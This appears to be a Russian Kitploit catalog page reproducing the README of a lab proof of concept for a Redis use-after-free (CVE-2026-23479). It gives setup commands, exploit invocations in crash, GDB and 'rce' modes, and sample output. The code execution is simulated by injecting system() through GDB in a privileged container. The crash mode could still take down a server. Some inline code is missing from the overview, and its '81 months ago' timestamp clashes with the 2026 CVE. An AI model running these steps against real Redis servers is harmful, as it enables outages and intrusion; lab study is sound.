Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-23479-Redis-UAF-Proof-of-Concept — Доказательство концепции с эксплуатацией при помощи GDB (только для образовательных/лабораторных целей) | Kitploit
Инструменты/GitHubGitHub/rizlmaulanaa/cve-2026-23479-redis-uaf-proof-of-concept
Анализ уязвимостейЭксплуатацияОтладчикиОбучение и ОбразованиеБезопасность Баз ДанныхЭксплуатация Бинарных ФайловЛаборатории и Практика
GitHubrizlmaulanaa/cve-2026-23479-redis-uaf-proof-of-concept

CVE-2026-23479-Redis-UAF-Proof-of-Concept

Доказательство концепции с эксплуатацией при помощи GDB (только для образовательных/лабораторных целей)

Репозиторий
81 месяц назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

🔥 CVE-2026-23479 – Proof of Concept для UAF в Redis

License Python Docker CVE PoC

Использование после освобождения (Use-After-Free) в Redis unblockClientOnKey(), ведущее к удалённому выполнению кода
Proof of Concept с эксплуатацией при помощи GDB (только для обучения / лабораторных работ)


📖 Обзор

CVE-2026-23479 — критическая уязвимость типа «использование после освобождения» (Use‑After‑Free, UAF) в Redis версиях с 7.2.0 по 8.6.2.
Ошибка находится в unblockClientOnKey(), которая вызывает . Если во время этого вызова клиент освобождается (например, из-за вытеснения), вызывающий код продолжает работать с висячим указателем → . Атакующий, способный управлять кучей после освобождения, может добиться .

processCommandAndResetClient()
без проверки возвращаемого значения

UAF

выполнения произвольного кода

В этом репозитории представлен PoC с использованием GDB, который:

  • Активирует именно тот уязвимый путь выполнения кода
  • Доказывает UAF, намеренно вызывая аварийное завершение (вызов freeClient())
  • Демонстрирует выполнение произвольных команд путём внедрения вызова system() в той же точке

⚠️ Важно: Это не «боевой» эксплойт. Он использует GDB внутри привилегированного Docker-контейнера, чтобы имитировать то, чего реальный атакующий мог бы достичь после успешной эксплуатации UAF.
Используйте его только в собственной лаборатории или на системах, на тестирование которых у вас есть явное разрешение.


✨ Возможности

  • 🧪 Четыре режима работы — crash, gdb, rce, full
  • 🐳 На базе Docker — не нужно устанавливать уязвимый Redis на хосте
  • 🔍 Автоматическое определение версии — проверяет, входит ли цель в затронутый диапазон
  • 🧹 Самоочистка — завершает устаревшие GDB-сессии перед каждым запуском
  • 🎯 Гибкое имя контейнера — можно передать любой контейнер через --container
  • 📦 Один Python-файл — ноль зависимостей, кроме стандартной библиотеки

🧠 Как это работает

  1. Блокируем «жертву» — команда XREAD BLOCK заставляет клиента ждать данных из потока.
  2. Подключаем GDB — GDB подключается к процессу Redis (pid 1) внутри контейнера.
  3. Устанавливаем точку останова на processCommandAndResetClient — функцию, вызываемую при повторной обработке заблокированного клиента.
  4. Инициируем разблокировку — XADD по тому же потоку «пробуждает» жертву.
  5. При срабатывании точки останова:
    • режим gdb: вызывает freeClient($rdi) → намеренно вызывает SIGSEGV → доказывает UAF.
    • режим rce: вызывает system("your command") → выполняет произвольные shell-команды от имени пользователя Redis (root по умолчанию).
  6. Проверка — скрипт проверяет, существует ли ожидаемый файл-подтверждение (RCE) или упал ли Redis (UAF).

Точка останова срабатывает каждый раз, когда заблокированный клиент разблокируется, что показывает: тот же путь выполнения кода, который содержит UAF, также допускает выполнение кода.


📋 Затронутые версии

BranchVulnerable Range
7.27.2.0 – 7.2.13
7.47.4.0 – 7.4.8
8.28.2.0 – 8.2.5
8.48.4.0 – 8.4.2
8.68.6.0 – 8.6.2

Скрипт автоматически определяет версию Redis и сообщает, уязвима ли она.


🐳 Предварительные требования

  • Установленный и запущенный Docker
  • Python 3.8+ (используется только стандартная библиотека)
  • Docker-образ Redis 8.6.2, в котором доступен apt (например, официальный redis:8.6.2)
  • Контейнер должен быть создан с параметром --privileged (требуется для ptrace)

⚙️ Установка

1. Клонируйте репозиторий

root@kitploit:~
git clone https://github.com/YOUR_USERNAME/CVE-2026-23479-PoC.git
cd CVE-2026-23479-PoC

2. Запустите уязвимый Redis-контейнер

root@kitploit:~
docker run -d --name redis-vuln-local --privileged -p 6379:6379 \
  redis:8.6.2 redis-server --protected-mode no

3. Установите GDB внутри контейнера

root@kitploit:~
docker exec -u root redis-vuln-local bash -c "
  apt-get update && apt-get install -y gdb binutils procps
"

4. Проверка

root@kitploit:~
docker exec redis-vuln-local gdb --version
redis-cli -h 127.0.0.1 -p 6379 ping   # should return PONG

🚀 Использование

root@kitploit:~
python3 redisexp.py <target> -p <port> -m <mode> --container <name> [--cmd "command"]

Режимы

ModeDescription
crashПопытка вызвать UAF через нехватку памяти (GDB не требуется). Redis может упасть, но это не гарантировано.
gdbПодключить GDB и вызвать freeClient() на точке останова → принудительный SIGSEGV (доказывает UAF).
rceПодключить GDB и вызвать system(cmd) на точке останова → выполняет shell-команду внутри контейнера.
fullСначала запустить crash; если Redis не упал, переключиться на gdb.

Параметры

ArgumentDefaultDescription
target(обязательно)IP-адрес Redis-сервера
-p, --port6379Порт Redis
-m, --modefullОдин из режимов: crash, gdb, rce, full
--containerenv-redis-vuln-1Имя Docker-контейнера
--cmdid > /tmp/pwned_by_cveКоманда для выполнения в режиме rce

📚 Пошаговые примеры

Примечание: Все команды выполняются на хостовой машине, а не внутри Docker-контейнера.

1. Докажите UAF через GDB

root@kitploit:~
python3 redisexp.py 127.0.0.1 -p 6379 -m gdb --container redis-vuln-local

Ожидаемый вывод (фрагмент)

root@kitploit:~
[+] Victim blocked on XREAD
[+] GDB script deployed
[*] Triggering unblock via XADD...
[+] SIGSEGV in processCommand after freeClient()
[+] This confirms the UAF code path in unblockClientOnKey()

Redis упадёт после ошибки сегментации.

Перезапустите контейнер:

root@kitploit:~
docker start redis-vuln-local

2. Добейтесь удалённого выполнения кода (RCE)

Перезапустите Redis, чтобы гарантировать чистое состояние:

root@kitploit:~
docker restart redis-vuln-local

Запустите эксплойт:

root@kitploit:~
python3 redisexp.py 127.0.0.1 -p 6379 -m rce \
  --cmd "touch /tmp/pwned" \
  --container redis-vuln-local

Проверьте файл-подтверждение:

root@kitploit:~
docker exec redis-vuln-local ls -l /tmp/pwned

В случае успеха файл будет существовать, что докажет выполнение внутри Redis-контейнера команды:

root@kitploit:~
system("touch /tmp/pwned");

3. Вызовите UAF без GDB (нехватка памяти)

root@kitploit:~
python3 redisexp.py 127.0.0.1 -p 6379 -m crash --container redis-vuln-local

Если Redis неожиданно завершит работу (контейнер больше не запущен), UAF, скорее всего, сработал.

Перезапустите его командой:

root@kitploit:~
docker start redis-vuln-local

4. Запустите полный тест

root@kitploit:~
python3 redisexp.py 127.0.0.1 -p 6379 -m full --container redis-vuln-local

Этот режим:

  1. Пытается вызвать аварийное завершение через нехватку памяти.
  2. Если Redis выживает, переходит на метод с использованием GDB.

📸 Пример вывода (режим RCE)

root@kitploit:~
============================================================
  CVE-2026-23479 Redis UAF Exploit PoC
============================================================
[*] Target: 127.0.0.1:6379
[*] Version: 8.6.2
[+] VULNERABLE

[*] Method: RCE via UAF code path injection
    Exploits CVE-2026-23479 UAF in unblockClientOnKey()
    Breakpoint on processCommandAndResetClient -> system()
    Command: touch /tmp/pwned

[+] Victim blocked on XREAD
Successfully copied 2.05kB to redis-vuln-local:/tmp/cve_rce.gdb
[+] GDB RCE script deployed
[+] GDB attached, breakpoint active
[*] Triggering unblock via XADD...
[*] Checking for RCE evidence in /tmp/pwned...
[+] RCE CONFIRMED! Proof file /tmp/pwned created.
[+] Redis alive after exploit

============================================================
  Results
============================================================
  Target:     127.0.0.1:6379
  Version:    8.6.2
  Vulnerable: YES
  RCE:        CONFIRMED (arbitrary command execution)
============================================================

🔧 Изменения по сравнению с исходным скриптом

Исходный PoC был жёстко привязан к контейнеру с именем env-redis-vuln-1 и содержал несколько проблем при запуске с более новыми версиями Python.

В обновлённой версии представлены следующие улучшения:

IssueFix
Жёстко заданное имя контейнераДобавлен аргумент --container, проброшенный через все функции.
Команда file размещалась внутри блока commands в GDB-скриптеПеренесена команда file /usr/local/bin/redis-server перед attach, чтобы GDB корректно загружал символы.
subprocess.run() использовался одновременно с capture_output=True и stderr=...Заменено на stdout=subprocess.DEVNULL и stderr=subprocess.DEVNULL.
Устаревшие процессы GDB вызывали ptrace: Operation not permittedДобавлена команда pkill -9 gdb перед запуском GDB в trigger_uaf_gdb() и trigger_rce().
Отсутствие обратной связи при тихом сбое GDBДобавлено отладочное логирование вывода GDB и улучшено обнаружение файла-подтверждения.

🧹 Очистка

root@kitploit:~
docker stop redis-vuln-local
docker rm redis-vuln-local

⚠️ Отказ от ответственности

Этот инструмент предназначен исключительно для образовательных целей, авторизованных исследований в области безопасности и тестирования систем, которые принадлежат вам или на оценку которых у вас есть явное разрешение.

Автор не одобряет и не поощряет неавторизованное или вредоносное использование.

Всегда получайте надлежащее разрешение перед тестированием любых производственных или сторонних систем.


📚 Ссылки

  • CVE-2026-23479 — детали на NVD
  • Redis Security
  • Redis GitHub Repository

Сделано с ❤️ для сообщества специалистов по безопасности.

Будьте этичны. Оставайтесь в безопасности.

Скачать инструмент